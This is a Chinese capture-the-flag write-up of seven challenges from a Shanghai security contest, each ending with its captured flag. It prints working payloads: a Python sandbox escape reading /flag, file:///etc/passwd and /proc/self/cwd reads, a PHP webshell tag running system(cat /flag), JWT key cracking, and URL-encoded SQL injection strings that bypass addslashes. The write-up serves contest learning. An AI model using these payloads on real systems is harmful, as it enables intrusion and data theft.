首届“神盾杯”上海市网络安全竞赛,去年的比赛。

0x00 babyJS

操作内容:

查看源码 找不到被调用的CheckLogin函数

/img/19shendun/image1.png

看到script中有用到unespaceescape等函数 用于编码字符串

eval传参改为alert 显示为弹窗

/img/19shendun/image2.png

发现check函数 并将flag与用户输入做比较 得到flag

/img/19shendun/image3.png

FLAG值:

flag{a5a5f402f6dc62acd3e848900a17513f}

0x01 crypto_easy_1

操作内容:

下载文件

/img/19shendun/image4.png

发现3行类似的数据 并且长度一致。

:左边的长度为42 右边的长度为56 ,猜测右边被base64编码过 进行解码 比较长度

/img/19shendun/image5.png

长度一致 为42

异或运算一下 可以得到Key随后将key代入 与base64解码后的密文异或比较 得到flag

解密脚本如下:

import base64
x = 'v6"wo5UIP9c4IdCk1o6qZhhB5DKZhVBwBzONl1JRIz:TwB2RyZYBCEVbjBjID17UkUeeDAwPBh1dg86AyAgcSQ4QygYGnAuJQYw'
y = 'zjS0ubQE2hw29FL2qs61ZNOVyFaf6IAjUZ7X8ijuVg:Q1wHADwPAC13PyRlUB90CwUCeHAwGj9hOg0QP34/cjkvY1AOTigOAhkt'
z = 'pJryZpVUNpSFi06WlKGkS0Uka6zw1sNCX"h2urQoyg:SXwmSRMdBz0LJwARAGkObhg6CSo5ZCVcIn0LLnkFfRAiGw9kAzM1GDYt'
a, b = x.split(':')
c, d = y.split(':')
e, f = z.split(':')
b = base64.b64decode(b)
d = base64.b64decode(d)
f = base64.b64decode(f)
g = base64.b64decode('X1o1VzIPaVgjbmNvCnQAC0ZHY3BbMUkaeylDYWVOCzZDXwJjR3hTFiw3')
flag = ''
for  i in range(42):
    t = ord(a[i]) ^ ord(b[i])
    flag += chr(ord(g[i]) ^ t)
print(flag)

FLAG值:

flag{b80f908c-8226-11e9-8b28-88e9fe5197ac}

0x02 ez_gallery_1

操作内容:

查看源码

提示flag位置

/img/19shendun/image6.png

找到可以利用的url

/img/19shendun/image7.png

使用?截断1.jpg

/img/19shendun/image8.png

FLAG值:

flag{378346c7ac53d624a8621efc745bbeab}

0x03 fast_calc_2

操作内容:

随便试了几下{1+1},{set},发现有点奇怪,猜测可能是python逃逸

尝试dir(().__class__)

/img/19shendun/image9.png

尝试了一下网上的payload但是没有成功,发现存在过滤,过滤了[]

查到builtins是自动引入环境的__builtins__.__dict__

/img/19shendun/image10.png

查找资料通过pop绕过[]

/img/19shendun/image11.png

Payload为:__builtins__.__dict__.pop('open')('/flag').readline()

/img/19shendun/image12.png

FLAG值:

flag{4582900a19a6a8801399afb6a31d9bc0}

0x04 Easyadmin

操作内容:

爆破下目录发现index.php~存在源码

/img/19shendun/image13.png

发现srole==admin才能输出flag

/img/19shendun/image14.png

登陆的后发现token为base64加密,解一下

/img/19shendun/image15.png

/img/19shendun/image16.png

搜索了一下jwt发现有加密,网上有类似的解法

下面网站可以验证

https://jwt.io/

/img/19shendun/image17.png

有根据源码把guest改为admin

再看下源码,里面有一个key我们不知道,猜测需要爆破应该为4位

/img/19shendun/image18.png

在github上找到一个脚本直接跑出来了https://github.com/brendan-rius/c-jwt-cracker

/img/19shendun/image19.png

保存下‘sjwt’

/img/19shendun/image20.png

用这个新token替换一下成功获取flag

/img/19shendun/image21.png

FLAG值:

flag{11529a36dd607c45e5b104ed977247ed}

0x05 Easyupload

操作内容:

通过尝试发现在图片地址处输入 file:///etc/passwd可以读到文件

/img/19shendun/image22.png

/img/19shendun/image23.png

然后在这卡了好久,在摸索后发现可以通过用/proc/self/cwd绕过,cwd是一个符号链接,指向了实际的工作目录

下图是一篇文章中的介绍

/img/19shendun/image24.png

/img/19shendun/image25.png

构造如下payload

/img/19shendun/image26.png

获取到源码

/img/19shendun/image27.png

找到他的命名规则

/img/19shendun/image28.png

然后通过上传php webshell获取flag

先上传一个phpinfo

/img/19shendun/image29.png

读到了文件但是没有执行

/img/19shendun/image30.png

想到通过

/img/19shendun/image31.png

<script language="php">phpinfo();</script>

/img/19shendun/image32.png

成功执行

运行 system(cat /flag)

/img/19shendun/image33.png

/img/19shendun/image34.png

FLAG值:

flag{2742ab5468a78d70dca332ca48aa7b89}

0x06 Easysqli

操作内容:

首先登陆pow直接在cmd5上解密下就行

/img/19shendun/image35.png

一开始尝试各种绕过都不行

/img/19shendun/image36.png

后来提示了一波bypass addslashes

通过google搜索

/img/19shendun/image37.png

格式化字符串漏洞

/img/19shendun/image38.png

找到payload %1$'

1.两张 admin%1$'%20union%20select%201,2%23

/img/19shendun/image39.png

  1. 查找表admin%1$'%20union%20select%20table_name,2%20from%20information_schema.tables%20where%20table_schema=database()%23

表名user

/img/19shendun/image40.png

  1. admin%1$'%20union%20select%20column_name,2%20from%20information_schema.columns%20where%20table_schema=database()%23

找到字段名

/img/19shendun/image41.png

  1. admin%1$'%20union%20select%20username,password%20from%20user%23

在password中找到flag

/img/19shendun/image42.png

FLAG值:

flag{299386fb699cff0cb99b1f57dee500a0}